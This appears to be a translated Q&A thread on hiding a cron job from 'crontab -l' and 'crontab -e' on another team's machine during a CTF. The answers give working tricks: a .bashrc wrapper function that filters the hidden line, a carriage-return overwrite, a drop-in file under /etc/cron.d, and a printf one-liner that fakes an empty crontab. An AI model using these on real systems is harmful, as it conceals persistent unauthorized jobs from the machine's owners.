隐藏 crontab 作业

隐藏 crontab 作业

crontab -e是否可以向 crontab 添加一个条目并将其隐藏,以便当用户使用或时它不会显示crontab -l?我知道购买力平价曾在 Defcon CTF 期间遭到技术攻击。

UPD:最近我参加了一个 CTF,并且可以访问另一个团队的机器。我想让我的脚本以他们不会注意到的方式运行。这就是为什么我正在寻找这样的东西。所以我更喜欢它可以由非特权用户完成,但对于 root 用户的答案也是有帮助的。

答案1

有一些相当简单的方法可以通过误导来隐藏条目(但它们经不起严格审查)。

例如,这是一个简化的概念证明,用于干扰crontab -l动态输出。

crontab() {
  case "$*" in
    (*-l*) command crontab "$@" | grep -v "some_haxx.sh" ;;
    (*) command crontab "$@" ;;
  esac
}

您必须将其放入 shell 配置文件中。

只要付出一点努力,就可以让它变得更加灵活,但如果你这样做,仍然可以发现其中的诡计cat /var/spool/cron/someuser

我认为通过-e一些想法可以实现类似的干扰(在调用编辑器之前动态删除所需的条目,并在编辑后替换它。)

编辑:实际上有一种更简单的方法可以对正在运行的用户隐藏内容crontab -l。内联键序列 ( Ctrl-vCtrl-m) 假设 Vim 是您的编辑器:

* * * * * /somedir/some_haxx.sh # Ctrl-vCtrl-m# 任何内容都可以放在这里,这会覆盖 cron 条目,您可以在此处放置大量空格或虚拟 cron 条目

您不会在编辑器中看到任何太特别的内容(^M中线除外)。保存文件并退出编辑器。此技巧仅在从命令行查看文件时才有效。我们在这里所做的是插入一个carriage return控制字符,这会导致显示的文本被该行后面的所有内容覆盖。

这克服了cat上面提到的缺陷,但是您仍然需要一些烟雾和镜子来对正在编辑的用户隐藏它crontab -e- 因为编辑器会将控制字符显示为^M静止。

答案2

以 root 身份在 下创建一个文件/etc/cron.d/, 下的 crontabs/etc/cron.d/无法通过crontab -l和来显示或编辑crontab -e

man cron

该目录可以包含任何遵循 /etc/crontab 中使用的格式定义任务的文件

答案3

在听说暗网日记上的 PPP 后,我也有同样的问题。在这里找到了答案。

http://vladz.devzero.fr/004_hide-crontab.html

例子:

printf "* * * * * >/tmp/x;\rno crontab for $USER\n" | crontab -

答案4

补充 bxm 的解决方案,以下函数还可以在crontab -e用于编辑 cron 文件时隐藏有问题的行(添加到 中的某处$USER/.bashrc):

crontab() {
  case "$*" in
    (*-l*) command crontab "$@" | grep -v "some_haxx.sh" ;;
    (*-e*) H=$(grep "some_haxx.sh" /var/spool/cron/$USER); O=$(grep -v "some_haxx.sh" /var/spool/cron/$USER); echo "$O">/var/spool/cron/$USER; command crontab -e; echo "$H" >> /var/spool/cron/$USER ;;
    (*) command crontab "$@" ;;
  esac
}

cat然后,您可以使用CTRL-vCTRL-m提到的 Vim bxm 中的技巧隐藏相关行。

如果用户出于某种原因更改了 shell,或者使用bashwith调用bash --norc,则上述功能将不起作用。

相关内容